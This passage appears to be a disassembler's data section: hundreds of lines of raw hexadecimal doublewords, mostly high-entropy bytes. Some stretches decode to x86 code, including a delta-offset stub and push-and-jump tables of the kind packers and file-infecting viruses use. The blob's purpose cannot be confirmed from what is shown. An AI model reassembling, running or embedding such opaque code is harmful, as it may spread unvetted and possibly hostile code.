		dd 0CAA413E2h, 0EACA6526h, 656AD2h, 0F7BA3C3Bh,	0BD405BD0h
		dd 9B25EB9Eh, 0D0CF39D9h, 0E1A2842Dh, 0BE3FD8BAh, 989519FBh
		dd 5D1DA052h, 8EB49D47h, 4D74B91Ah, 0E13CFDD8h,	55AA956Ch
		dd 6D34B3E3h, 7CA3CA8Bh, 0FCA1455Eh, 58192F4Dh,	1820AC01h
		dd 0D41EC6DCh, 0F338146Fh, 1932EACCh, 2FF0D293h, 37FE8180h
		dd 80C6E755h, 28462B0Eh, 8DEA5F12h, 0BFD5111Ah,	0E51BD25h
		dd 5D6FEC31h
		dd 0AF8D7D99h, 37CEEC13h, 0DF040456h, 5DD281D6h, 0D8F6BF42h
		dd 93753CBFh, 0A84123D2h, 0ADE75C05h, 0B20C4416h, 0C2EC690Ch
		dd 0E6A554C3h, 0EA001E53h, 146F456Fh, 0D76E8CD1h, 0DCB13039h
		dd 5453D0E6h, 59CE3EAFh, 0AD4325D4h, 8335633h, 0F3094179h
		dd 83355F1h, 0EE712065h, 4D3B39A8h, 20F4B2B7h, 3E000000h
		dd 0CFED86B3h, 42FE4CB9h, 25074C3Fh, 6A7518Fh, 78BE5B33h
		dd 0E4000B09h, 0C1C487h, 730E0000h, 0DB1331F0h,	24D31FC5h
		dd 941A3739h, 19FBAAD1h, 583AFF80h, 93753CBFh, 39AE77FAh
		dd 24D73A21h, 35FC7F39h, 6302A5C0h, 0E9882C45h,	0EF9E47EAh
		dd 0EC85B40Dh, 648096CEh, 0F23924CDh, 0A8E0FEADh, 9A49E88Fh
		dd 42DB5B9Eh, 6BE0253Fh, 0AAC8A990h, 276DED94h,	405EA339h
		dd 2ABAD008h, 2C2CE615h, 150ADAF0h, 74C2CE6h, 8D3231E0h
		dd 0D75873E8h, 0DADB5012h, 9193EC28h, 22F09h, 1CD96A00h
		dd 45EC8CA7h, 7233B5D0h, 9A5BE2FDh, 0C0650A25h,	0D180A4Bh
		dd 3550C568h, 607BF0ADh, 8BA61BDEh, 0D4D449E8h,	97C22238h
		dd 0DF943F48h, 2FF27307h, 551C9FBAh, 0DEEAA037h, 0D551CFAEh
		dd 0B3DDB126h, 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h
		dd 4729CC72h, 84660FAEh, 7D24C4C3h, 1B61009Bh, 488E2B41h
		dd 0E3FFDBD9h, 11D9487h, 73DE0000h, 0C0243AF0h,	963924D2h
		dd 0C71D3351h, 8F3924D2h, 8941234Ah, 0AE2BCE70h, 0E4479B07h
		dd 4E4DFC9Eh, 0C16EAEA9h, 3618D95Ch, 6B80F875h,	9F35173Eh
		dd 3925C3BCh, 9DBB7AFDh, 5E40E184h, 3F79EE9Dh, 0BAF3F107h
		dd 1E633925h, 24CD706Fh, 2350E942h, 2DB7CD05h, 293925BBh
		dd 0A0B5208Eh, 40679A89h, 0B86D5AC3h, 65141E8Ah, 3EC83147h
		dd 770E3F43h, 0D9C3A787h, 6CE08FAAh, 0BBD10927h, 33078529h
		dd 0C439E82Dh, 52350E9h, 657F95CDh, 47330784h, 784B331h
		dd 0EA5EA333h, 28FAF6A5h, 39282Eh, 6D931D69h, 8A2EFFE0h
		dd 2AA7BA44h, 0EB5F0E35h, 836177AFh, 0D32CE7C5h, 0C652928Eh
		dd 0BF042CE7h, 0DC617A98h, 0E489A419h, 8BA67F41h, 0A6A8EC2Ah
		dd 0E71Eh, 0D4812200h, 0FDA4445Fh, 2ACB6D88h, 52139AB5h
		dd 783DC2DDh, 0C5D0C203h, 0ED087D20h, 1833A855h, 435ED396h
		dd 8C8C01A0h, 990ADAF0h, 974C3F48h, 2FF273BFh, 21C3D911h
		dd 353924D3h, 0AAD19018h, 0C86B86FBh, 73E0B429h, 0B64F31F0h
		dd 51149A33h, 6987AE6Fh, 5605AC50h, 3E3306E1h, 9AB0E820h
		dd 3924D34Ah, 25C8C70Ch, 2AD99A7Ch, 488EBD2Eh, 4462A73Fh
		dd 18E12AADh, 5A0919B7h, 955CDF78h, 98AEE620h, 33016E4Ch
		dd 3648C50Ah, 2E291299h, 76F9F8A7h, 7237CDAFh, 0E377A8C6h
		dd 0E89F4A41h, 1EBBC2E7h, 0FD7C15F7h, 92915234h, 4E6547EEh
		dd 9254CEF4h, 0DF00D4FCh, 0D8D5BF99h, 945DE092h, 0C061041Fh
		dd 0FFA645DEh, 488EAF1Dh, 0DD521396h, 58763FC2h, 12F4BD3Fh
		dd 4E30F579h, 0D5B7668Dh, 34Dh,	0A77F1B00h, 5133EE73h
		dd 8A6C35B8h, 0C6A84DF1h, 6E8952Dh, 4325C86Dh, 7E6005AAh
		dd 0BD9F46E5h, 0FFE18024h, 3D1FC666h, 336800h, 14890000h
		dd 81E28924h, 4C2h, 4EA8300h, 5C241487h, 27BC68h, 24048900h
		dd 369F68h, 242C8900h, 20CABF57h, 0F7815A4Ah, 579F61C2h
		dd 0EF81EFD1h, 28625306h, 7AA2BA52h, 0D7316084h, 0B8F7815Ah
		dd 89B82F8Bh, 8B545FF8h, 0C483242Ch, 0BB535204h, 8, 15BDA89h
		dd 5A0289EAh, 5D2434FFh, 8B04C483h, 89562404h, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 0B7BDE95Ch, 0E176FFFAh
		dd 97B143BFh, 23C75DB8h, 0FFC50306h, 0BAC760E0h, 3A8AD30Eh
		dd 2229FB2Fh, 22E6AC0Ch, 0CFCC714Dh, 24EB0Bh, 8	dup(0)
		dd 0E9000000h, 0BDh, 0C807B589h, 858B0623h, 61E272Dh, 1735858Bh
		dd 0B58D061Eh, 623C851h, 416B858Dh, 0D0FF0621h,	0E855C3h
		dd 5D000000h, 0C857ED81h, 0BD830623h, 61E272Dh,	2C850F01h
		dd 0FF000000h, 23C807B5h, 35858B06h, 35061E17h,	34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 0BB58D1Ch, 560623C8h, 0C807B5FFh,	858B0623h
		dd 61E1735h, 81273635h,	83D0FF34h, 0B58D0CC4h, 623C80Bh
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	1E272DBDh, 850F0106h, 7, 2E9C35Dh
		dd 5D000000h, 30858DCFh, 890623C8h, 1E1B4D85h, 13E806h
		dd 70000000h, 8F3B4A3Fh, 381C0BEEh, 0CB8FDE35h,	9721BBA5h
		dd 0F28B6653h, 0B1E08159h, 813D7E28h, 5FACC1h, 685F5100h
		dd 0
		dd 14E9h, 8C236700h, 0D24B8D65h, 8DDA395Ah, 0CAB3CDFAh
		dd 4BB03B65h, 148B5BD7h, 8DF68119h, 813EF1DCh, 0D559A5C2h
		dd 0EA81FC04h, 1A702129h, 0D7FED3B8h, 95C28177h, 0BE722D81h
		dd 63069E15h, 0D6816652h, 48F1EF5h, 665E5719h, 81D895BEh
		dd 0F47602EBh, 5CD48071h, 75FEC381h, 81F571F4h,	0FFA110FBh
		dd 15850FFFh, 66000000h, 23E9F98Bh, 6F000000h, 8A484CF1h
		dd 80EEE2F5h, 4ADE3673h, 0FF94E9F9h, 8DD5FFFFh,	0F37889BBh
		dd 2C9F7F7Ch, 0DFFC920Ah, 8D8D2BF8h, 623CA65h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BEC35646h, 758D8906h
		dd 89061E23h, 1E2FD99Dh, 4D85C706h, 2C061E32h, 0C700006Ch
		dd 1E316985h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0A30FDD48h, 850902AAh
		dd 61E09A5h, 32E5B5FFh,	6A061Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0CBAC55C3h, 291D8F40h
		dd 1E2FE585h, 0B995FF06h, 66061E16h, 6AF18Bh, 26C195FFh
		dd 0C08B061Eh, 5F7F7FEBh, 0A9EDD437h, 43D128BEh, 38AF2163h
		dd 739193CEh, 0A193DE71h, 2634EC9h, 766111B3h, 0BE6AEFB4h
		dd 0C91037EBh, 450E386Fh, 0E6D034AAh, 0DA292001h, 0B77DEF1Dh
		dd 6A0AB4B3h, 0CCEE76CBh, 509B0E9h, 4FCDDE03h, 0AA95E9ABh
		dd 0C78C25A4h, 0DDE4D183h, 0EE305AB3h, 149E1166h, 850AD131h
		dd 0B40530F7h, 9149ED74h, 68747169h, 5960002Eh,	0F2B25FD4h
		dd 588218EFh, 0A9C64D76h, 0C8D92A41h, 0A18D8D20h, 6A0623CBh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0D3BEC353h, 226BC139h, 499D8B9Eh,	89061E08h
		dd 1E23758Dh, 0F5952906h, 0C7061E1Bh, 1E324D85h, 587C06h
		dd 0B5896000h, 61E0329h, 6820Fh, 9D090000h, 61E23A1h, 6985C761h
		dd 61E31h, 0FF000000h, 1E2991B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 95FF9E13h
		dd 61E16B9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0FC35747h, 125F741Eh, 2F5D9D89h, 6A061Eh, 26C195FFh
		dd 0C08B061Eh, 966C1FEBh, 0BD939A44h, 15D35AECh, 3488BCBh
		dd 43484B73h, 24122B48h, 528ABF52h, 2ED32595h, 0ABE9B9h
		dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h
		dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h,	9B552075h
		dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh
		dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h,	5C009FA5h
		dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h
		dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh,	0F996BFCFh
		dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh,	0E0CE9DBCh
		dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h
		dd 0A601E800h, 323D94E7h, 811C0A83h, 1256E90Ch,	4F680000h
		dd 0E90623CEh, 0FFFAB31Bh, 23CF2068h, 0B311E906h, 1368FFFAh
		dd 0E90623D0h, 0FFFAB307h, 23D1A968h, 0B2FDE906h, 3968FFFAh
		dd 0E90623D2h, 0FFFAB2F3h, 23D30368h, 0B2E9E906h, 0A268FFFAh
		dd 0E90623D3h, 0FFFAB2DFh, 23D45B68h, 0B2D5E906h, 1D68FFFAh
		dd 0E90623D5h, 0FFFAB2CBh, 23D64D68h, 0B2C1E906h, 4B68FFFAh
		dd 0E90623D7h, 0FFFAB2B7h, 23D87E68h, 0B2ADE906h, 0DF68FFFAh
		dd 0E90623D9h, 0FFFAB2A3h, 23DB8A68h, 0B299E906h, 6068FFFAh
		dd 0E90623DCh, 0FFFAB28Fh, 0AE23DE63h, 0D74C1593h, 47938BCh
		dd 2EA342E9h, 5ACF9213h, 9B1C2719h, 0BC4661D6h,	0CD718C01h
		dd 1598B328h, 3BD7D74Ch, 489FBF25h, 0A4E2973Fh,	9544ED8Bh
		dd 31F073DDh, 7233B64Fh, 5A1722FDh, 584233Ch, 20E1C362h
		dd 0A75617F9h, 0EFE67389h, 155A3F42h, 0B5439D33h, 0CC693306h
		dd 0EE191786h, 43D287E3h, 0B6000000h, 0AC7C687Eh, 95DA3306h
		dd 86B32EE6h, 0ECFB8E97h, 3158ACC6h, 1FC5DB13h,	8D392591h
		dd 25906D77h, 30A4E939h, 81E3CEBh, 3F43BBFDh, 0DE74569Bh
		dd 33076602h, 58C70DAAh, 87E3415Ah, 0DE13h, 0BD545D00h
		dd 953C890Eh, 3D3CEB46h, 8019FBBAh, 0BF583AFFh,	0DB93753Ch
		dd 492B0944h, 6D1CC480h, 0B52ACB6Eh, 0BAABE47Bh, 0E17ADF17h
		dd 92A33632h, 0BBF33925h, 258B3FA5h, 76FA1739h,	0E50CCDAFh
		dd 0EDB43736h, 1BDA5D78h, 4059E039h, 44E99FBCh,	0D080DCB1h
		dd 2C6482A9h, 66640895h, 0ABFCC2CCh, 0EB02D26h,	0E5E19046h
		dd 3F43B6E4h, 4882F73Ch, 50AAEAB1h, 2FDE2D60h, 8AA8C970h
		dd 283DA674h, 0B9D71C39h, 0E55A1FA0h, 0BE8025CAh, 0EC29FA87h
		dd 0D6C1494Bh, 2400000Fh, 526DE29Fh, 7B960BAAh,	0A8C338F9h
		dd 0D0EB6001h, 0D4158A2Fh, 9356D7E2h, 0C27F031Eh, 0E98C324Dh
		dd 0FD65974h, 0E8FE9A9Ah, 3F48A0FCh, 73CDA55Ah,	9FBA2FF2h
		dd 326BFF1Ch, 2E4892Dh,	2592C441h, 8C51D5D4h, 0B31CF065h
		dd 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h,	978BE5Bh
		dd 87E4000Bh, 0B7C4h, 0F0730E00h, 0C5DB1331h, 3924D31Fh
		dd 56D29C37h, 0D0F20A8Eh, 7F18FAA9h, 0C3593BFEh, 39258116h
		dd 0E57D1C9Fh, 819C1138h, 0FC5537FEh, 0DE16343Dh, 9B7D20C5h
		dd 9A2F2BDAh, 863F4385h, 3D1FC669h, 0A6E0557Ch,	6B8C586Eh
		dd 85CA3307h, 512217D6h, 14EC1D33h, 6FB43928h, 0F2B73851h
		dd 18DD627Dh, 29D98156h, 0C34B4DECh, 0F05h, 9E13CE53h
		dd 0C73CE583h, 0F46908ACh, 1E9352D9h, 4ABF6203h, 6B0C1709h
		dd 0AC3651C6h, 0DD617CF1h, 0E588A318h, 2BC7C73Ch, 48A1CF15h
		dd 0FAD2873Fh, 0D657F273h, 37CEEC13h, 538D2FADh, 0E55A0969h
		dd 46EF92ABh, 0F5F4A364h, 6A3EB372h, 0F7BA3B54h, 0A6A55415h
		dd 0E7806203h, 0D289D44h, 4FE8CA6Bh, 0DA9005ACh, 0A2435CACh
		dd 0AD5C1DFFh, 8264BEEh, 0D32ABAD0h, 0E72C3924h, 1D041A38h
		dd 93F42F3h, 0BD008D72h, 0BB38CBA4h, 48D25558h,	0E35706FDh
		dd 0B32EC49Eh, 522A9091h, 680DB2E7h, 809EC586h,	9A59DB6Ah
		dd 16F83D41h, 0D9F77CBDh, 28500AA1h, 70EDB036h,	0DE8D5B13h
		dd 7FCDCFE2h, 0BEDC213Bh, 4F6501A5h, 2F3CDB95h,	73557CC1h
		dd 0ADE503B2h, 71530E94h, 690CB1B0h, 2338BBBAh,	0E708138Ah
		dd 1D92B978h, 0F4B67F02h, 0EE8068DDh, 125FE7E9h, 6000000Eh
		dd 86A116C3h, 0AFCA3FE6h, 0D4EF640Dh, 0FC178C55h, 41B67Bh
		dd 0BF62030Eh, 0E6932F4Ah, 0DD05671h, 3BFA7D98h, 142AC6C6h
		dd 3F48A2D0h, 73F9D186h, 0F64F31F0h, 315D843h, 0CB852505h
		dd 0D56D86A4h, 0D6854628h, 6D0FA2B8h, 9CE13F43h, 9FB5ED27h
		dd 33076845h, 0AC75F411h, 93D10885h, 52BA4E39h,	1C55E4A3h
		dd 2725E8FEh, 3E833925h, 12D2E820h, 442CE8C5h, 0BAE18027h
		dd 4D93290Bh, 5F2CE8C5h, 0F0D7CC2h, 528E01E3h, 4DD46BBh
		dd 7A296E87h, 6AD2h, 441FB600h,	0E6A4467Ch, 0B3E39B4Ah
		dd 8B829786h, 0E31D4DE8h, 10889EBCh, 0AE3F440Dh, 7C134B69h
		dd 0B1EBA57Fh, 0C9C877C5h, 0F30B8025h, 330739EFh, 2EB455D8h
		dd 2EF37473h, 0EF648B4Ch, 99381EB5h, 0DF5C01A6h, 1026EEC3h
		dd 33077AD4h, 17163D82h, 1E1DCC95h, 3BF3D598h, 5788EBA4h
		dd 0A0481FA0h, 375E1F01h, 0D139A88h, 0B3680000h, 97CFED86h
		dd 5436FF7Eh, 94763BBBh, 1FDACD3h, 3F489F48h
		dd 5C7593D8h, 88A318D9h, 28C264E5h, 106D212h, 183F8433h
		dd 700E4FAh, 11563301h,	375008EAh, 7F3EEDB4h, 639BB9BAh
		dd 7DDF32Bh, 4F330107h,	6D60E0Ah, 3B803301h, 0D21A908Ch
		dd 51E3924h, 19DABC61h,	93B1F66Ah, 5133F27Ah, 0AAC3E190h
		dd 0CEE95E07h, 0D56C8A2Bh, 0AEA4E176h, 5F41F069h, 8B596FA7h
		dd 0CB2CDD0Ch, 2118D786h, 851C3250h, 4B32FB20h,	0F9F4406h
		dd 2D2FE602h, 0C7CA5h, 7C39CA00h, 0A54CEC07h, 0D2931530h
		dd 0FABB425Dh, 20C56A85h, 6D786AABh, 95B025C8h,	0C0DB500Dh
		dd 0EB067B3Eh, 3434A948h, 0A3628298h, 3FF43F48h, 0D26A7667h
		dd 23A3924h, 24D2F8ECh,	85C35E39h, 213ED5DCh, 6D2CDB02h
		dd 7089A7CCh, 892C2BCEh, 964506E8h, 66506278h, 5DA23F49h
		dd 0E283263Fh, 6AF526Dh, 8A2FCFE8h, 99A0F9DBh, 0DA4BAD8h
		dd 39391FD2h, 884400A2h, 2165F9F5h, 57C8718Dh, 3AAE5D84h
		dd 0C2CA33F5h, 204EC26h, 0BEC7Ah, 0ECA93A00h, 15DC5C77h
		dd 42E385A0h, 6A0BB2CDh, 9055DAF5h, 0DDE8DA1Bh,	5209558h
		dd 304BC07Dh, 5B76EB8Eh, 0A4A419D8h, 0A4F2F208h, 0AF643F48h
		dd 59F073D7h, 3E50CC9h,	3C1EC76Ah, 7F011AB6h, 3E8407B6h
		dd 0C5D0D1CFh, 7CFB1481h, 6312D3B5h, 689BBh, 86B30500h
		dd 6B9CFEDh, 5C3F489Fh,	1E00A143h, 9F3AAE5Dh, 7DC19C99h
		dd 0DEFC23C1h, 1CA627C5h, 97BE7F61h, 0EB1CAE8h,	694BEE8Fh
		dd 2B6381A8h, 11ACF15h,	354B8733h, 33011AAFh, 8C3B62A7h
		dd 0B879FC17h, 1AA040D6h, 0D6633301h, 0F477F9Dh, 11AEBF9h
		dd 0A9266B33h, 0E1C0E18Ah, 5450FF04h, 391F6B5Dh, 2EF77693h
		dd 0A2648B4Ch, 0EC267C4Dh, 222FB7B9h, 7000000Bh, 96B126D3h
		dd 0BFDA4F16h, 0E4FF743Dh, 0C279C45h, 1051C66Bh, 0CF92131Eh
		dd 0F6A33F5Ah, 1DC06681h, 4BEA8DA8h, 243AD6D6h,	3F48A5C0h
		dd 7309E196h, 974F31F0h, 8B3AFB7Eh, 46F2E98Ch, 0FE73AED8h
		dd 0DA604269h, 262493D9h, 0DF81C542h, 5C2h, 0D26A7629h
		dd 0A0993924h, 609FB5D3h, 2C3F489Fh, 0E8CA6F0Fh, 0C9E20027h
		dd 0D00A7F26h, 9C1635B7h, 0AE1ACCA5h, 0F2B395BCh, 0A14443h
		dd 2774C51Eh, 78784h, 75AFB383h, 0F309274Eh, 391F4EBEh
		dd 0DE2BED32h, 28EC265Fh, 0A839E26h, 30D10000h,	77F51085h
		dd 9A1E39AEh, 0AC4B66DBh, 0F0759005h, 8577B82Dh, 0BB30F57Ah
		dd 0E25702A0h, 0D8227C7h, 31A64FF2h, 657F9531h,	0F13F48A5h
		dd 0BD54643Ch, 9D9949E9h, 7574238Dh, 0B85133F2h, 48A6C35h
		dd 504EBD03h, 9381C578h, 0B532F37Ah, 0D77C35CEh, 52FAA99Eh
		dd 51Ah, 0B83B549Ch, 0AE8B4AF9h, 7FA64FEDh, 9EC94B61h
		dd 2A433F48h, 0BD31E085h, 0BE415A78h, 2F4882F7h, 3837E693h
		dd 0B5CEECB5h, 4E0B9736h, 0A284AB6Ch, 0BA5032E1h, 33010726h
		dd 275EE77Eh, 0EAE87E7Ch, 0D9F51395h, 0C9789F44h, 24422F0Ah
		dd 1F6BA30Eh, 46084D39h, 0EC267C55h, 0CAEF7779h, 18000009h
		dd 3E59CE8Bh, 6782F7BEh, 8CA71CC5h, 0B4CF44EDh,	0B8F96E33h
		dd 773ABBC6h, 9E5BE702h, 0C5680E29h, 0F3B23550h, 0CCE27E7Eh
		dd 3F48A718h, 54B1893Eh, 88819ABDh, 0B26170BFh,	8F7130B3h
		dd 0D0B273F6h, 3203494Ah, 0E1FEB19Bh, 232266BEh, 39FADC85h
		dd 4AD0CE8Ah, 5F8981C5h, 0D3000004h, 24D26F76h,	80263F39h
		dd 0CA6F2EDDh, 0F6910C53h, 0DFF54376h, 3924E305h, 0BEE50C51h
		dd 0AE678AA0h, 0C4093F48h, 73EA8DA6h, 0FE1432EFh, 330115E6h
		dd 8F042B70h, 7845BE55h, 0A526CF05h, 88737187h,	9EE33301h
		dd 0A44DF0EFh, 25C86D86h, 0FE3B9476h, 0DC415775h, 0EC391F8Bh
		dd 9BB0E5A7h, 9092EC26h, 90808h, 10CD5600h, 39F8809Bh
		dd 5E07A9C4h, 862FCEE9h, 0AC71F611h, 0F904F637h, 213CB174h
		dd 445FD481h, 6F8AFFA2h, 0B0B025CCh, 0A7E6FE14h, 0BB703F48h
		dd 31F073E3h, 7B33B64Fh, 24D27F65h, 6B92D739h, 0BF050889h
		dd 1B9DB6EEh, 0BBB7785Ah, 3924D329h, 3A39E82Dh,	0A179EEB7h
		dd 81C5D4A3h, 13D5Ch, 0F073A600h, 7E974F31h, 888736FFh
		dd 51E3CE5h, 20E1C362h,	1821FC71h, 32273D5Bh, 0E3F42F0h
		dd 8F51E7C9h, 1D3306B4h, 0CDCB3A80h, 1087E3EEh,	0AD22C2D8h
		dd 0EF343306h, 3D9840h,	637C0000h, 0B76F1EC3h, 0CFED86B3h
		dd 42FE4CB9h, 0E689A23Fh, 0ED9C5D3Fh, 0BC523479h, 3306A824h
		dd 7456039Fh, 3AC158DBh, 0B1D8997Bh, 84E4BCFh, 357B182Eh
		dd 0E3FFC8C6h, 0AD8187h, 54CB0000h, 385D0ABDh, 7A296A57h
		dd 5739F87Bh, 927439BEh, 0CDAF76F9h, 7BF0B134h,	250D8663h
		dd 5AC4F39h, 0EF84B590h, 61CCBBD1h, 8BD03F45h, 36D3546Dh
		dd 4C0DEFB6h, 0F4700725h, 0F43A544Fh, 0BDD84DFCh, 5AFE1F38h
		dd 842FB25Ch, 0E20C9B5Dh, 0D8DAF247h, 7D850h, 0E09D2600h
		dd 9A8506Bh, 2EF77994h,	561F9EB9h, 7C21C6E1h, 0C9D4C607h
		dd 0F10C8124h, 142FA451h, 3F5ACF92h, 8080F5BCh,	0A916CEE4h
		dd 8B403F48h, 0BB3B54B3h, 545314F6h, 61600FD2h,	89A419DCh
		dd 0B23248E6h, 0A43924D2h, 0D2925268h, 7FC43924h, 13D25958h
		dd 73A377ECh, 0B64F31F0h, 0BD547233h, 0BF4830DAh, 0BD32E1CAh
		dd 25DB3h, 86B38100h, 0B4B9CFEDh, 0B43F42FEh, 6A4C1597h
		dd 4B6482A9h, 6B0B0AB7h, 7423E4C6h, 0A443DA92h,	0CE14EEF5h
		dd 0C11F1BCAh, 0EB330671h, 1E37084Eh, 36F7D984h, 35CDCB87h
		dd 0F28687E4h, 0D0000001h, 0DE061C54h, 783924D2h, 0EEB33433h
		dd 0A09C4B0Ch, 3924D347h, 0E4026FCAh, 489F29CEh, 117533Fh
		dd 330106E3h, 0E9072E73h, 66842DD0h, 2204A94Dh,	223DB261h
		dd 3CF4D69Fh, 31E08123h, 8CAAC772h, 1F09A776h, 1ADC2139h
		dd 0EC261987h, 0DAC95153h, 28000006h, 4E69DE9Bh, 779207AEh
		dd 9CB72CF5h, 0C4DF541Dh, 0C8097E23h, 872ACBD6h, 0AE6BF712h
		dd 0D5981E39h, 3A24560h, 0DCF28E8Eh, 3F48AA08h,	54C1994Eh
		dd 12F4BD3Bh, 0A3A251h,	1940E589h, 5A1B9E37h, 0AEF4F778h
		dd 8120C4DDh, 302FDE9Fh, 976FE48Dh, 81C5D499h, 14452h
		dd 0F0739C00h, 33B64F31h, 7B180F1Ch, 0FE1CB05Ch, 2544FCE8h
		dd 0EE155A39h, 0C0A83F79h, 5C46C8E2h, 7A8D9AC2h, 2A51CA9Bh
		dd 9E7DBC7Bh, 0DBDC6AACh, 18365D2Eh, 43BE5702h,	0CA83F3Fh
		dd 8194CA5h, 0E72CA04Fh, 0D91A32C9h, 0AAE9D43Ah, 5D8319FBh
		dd 4F33074Dh, 0D8568017h, 5CBC3EC2h, 75E42AADh,	87E38377h
		dd 2030h, 86B37A00h, 4CB9CFEDh,	4C3F42FEh, 518F2507h, 5B3306A7h
		dd 0B0978BEh, 0C487E400h, 8Bh, 31F0730Eh, 6C31B64Fh, 0A74EF18Ah
		dd 0E8892CC5h, 0C9013973h, 24D331B3h, 0E4E02539h, 3924D300h
		dd 66621156h, 39252493h, 0F816DF62h, 0B49643DFh, 0F4CF44F3h
		dd 0F80E2C45h, 3F452A8Fh, 91AAC80Dh, 0B9D449ECh, 4AF7134h
		dd 0CAF246EDh, 5A740C8h, 6CF50000h, 9B213CB1h, 0A64A65DAh
		dd 0C86F8AFFh, 1499B429h, 0A99BDC51h, 0DF54199Eh, 0E833EC4h
		dd 39AE73F3h, 65DA9B1Eh, 31B3C965h, 253F48ABh, 0F2739870h
		dd 1C9FBA2Fh, 730CE055h, 0CC959F0h, 0C76A03E5h,	0D2D31127h
		dd 3E833924h, 3F62F917h, 0C87E47AAh, 0F2AF3332h, 3BC4CE43h
		dd 2C000000h, 0AECC9513h, 25454C98h, 16C50A39h,	31F0735Eh
		dd 0FB7E974Fh, 0D2B72D43h, 5A9F3924h, 0E1905133h, 0B4965FE2h
		dd 3BED3330h, 7A84F9B8h, 1Bh, 177D4BE2h, 9B80C5CDh, 0F07334ECh
		dd 28B94F31h, 153924D3h, 179A4C92h, 7305D94Eh
		dd 0DB1331F0h, 24D31FC5h, 43F23739h, 68310861h,	0A84123C6h
		dd 0F365D04h, 3A735AF1h, 0CC55BEA3h, 0B8667C1Ah, 48F71E20h
		dd 8235142Ah, 9413F49h,	0EA29BBD1h, 0E82D3301h,	1E9F8ECh
		dd 6A195E33h, 7A93B1F6h, 0EFB4D8F7h, 0BCA11AE4h, 987A3BBDh
		dd 203BB0D7h, 3AF2D49Dh, 0F7D99C21h, 71C88736h,	0B9E08128h
		dd 6825859Bh, 7C133926h, 0FD121396h, 0A014C36Fh, 81243D5Bh
		dd 0AD506BE0h, 694FE604h, 0A6509110h, 43FBDD8Ch, 49EFF50Bh
		dd 22672CDEh, 0EC85B473h, 6E37B5CEh, 3169A1BFh,	0DE49C91Bh
		dd 99488D2Ch, 0FC5E049Dh, 0C587CC32h, 0E6034D08h, 4640C8CAh
		dd 94000004h, 0C2DD520Fh, 0EB067B3Ah, 1833A849h, 405BD091h
		dd 4485FABFh, 3A64752h,	32EF738Eh, 591CA2BDh, 7F26C9E4h
		dd 586E0A0Ah, 3F48AB8Ch, 543D15CAh, 0D2DE061Ch,	3C783924h
		dd 24D2BE26h, 2C539839h, 3AFB7E7Dh, 0CE728BC5h,	0F6797827h
		dd 0E50CD557h, 1EC76A03h, 72B8BB3Ch, 0FF743DC0h, 0C5D42927h
		dd 4BE281h, 0B32C0000h,	91EC9786h, 4761719Eh, 43E90220h
		dd 0BFD5F3A2h, 3F4401D9h, 6982A0E5h, 93AB20C5h,	3307694Fh
		dd 0B72CF578h, 0F97F1A9Ch, 77955638h, 7688361h,	678ED333h
		dd 3A3FD85h, 0CE650000h, 41FDB30Dh, 4AD8D79Bh, 3DECAD8Fh
		dd 31F07385h, 7233B64Fh, 4635BD54h, 370FB135h, 1381388h
		dd 1D3C5270h, 233F435Dh, 95BC6106h, 21C31DB3h, 0B1E93307h
		dd 21816379h, 90D53307h, 47185EE1h, 3BEA8B2Eh, 0E381817Fh
		dd 2C3A87h, 0B3840000h,	0B9CFED86h, 3F42FE4Ch, 8F25074Ch
		dd 3306A751h, 978BE5Bh,	87E4000Bh, 6EDFB74Eh, 58223C9h
		dd 10BF0D19h, 0C668h, 3B54B200h, 4645F4BDh, 30DCACA3h
		dd 83EFF50Bh, 22673925h, 194D93A5h, 0F67710F2h,	35B85133h
		dd 0B0354E6Ch, 9B4A0BEDh, 0D49D20B9h, 0C292475Fh, 80233925h
		dd 0AE516CE1h, 6DCC2507h, 29D0E604h, 573F43C8h,	8B5DF412h
		dd 0B0827B3Eh, 47229746h, 2B6381F2h, 0E4C66F12h, 4CBD2723h
		dd 54993307h, 107187A5h, 803927F9h, 0BA861D3Bh,	55570A68h
		dd 1F385605h, 16CEE49Eh, 402CE5D9h, 445FD4FBh, 833CFEA3h
		dd 53EC28EFh, 29BC951h,	58E90000h, 6F0D289Dh, 0B23651C6h
		dd 0C4637EF3h, 0E88DA81Dh, 9D8FD045h, 0D348ED92h, 0FA6F2AB8h
		dd 259A5FDFh, 49BE670Ah, 4D97AD49h, 93F48AEh, 0F2737C54h
		dd 1C9FBA2Fh, 0B30CE055h, 0B9CFED86h, 3F42FE4Ch, 6D25074Ch
		dd 2E10D154h, 70521395h, 0C20B88AFh, 86E0109Bh,	0AD332FDEh
		dd 0FF3306C8h, 0AFAD1C62h, 6887E3DEh, 0CDh, 31F073B2h
		dd 6C31B64Fh, 0D6E5F48Ah, 2DD03924h, 0AE4D6684h, 11D3E907h
		dd 453924CFh, 0C1DC5100h, 4059773Eh, 5516F8B9h,	0CE6BC4A6h
		dd 887187A5h, 0F83F42DBh, 0FB7C95B3h, 0E4935436h, 0CCA5946Fh
		dd 6B8A98AEh, 3483927h,	862BCCE5h, 0D471F611h, 657F9555h
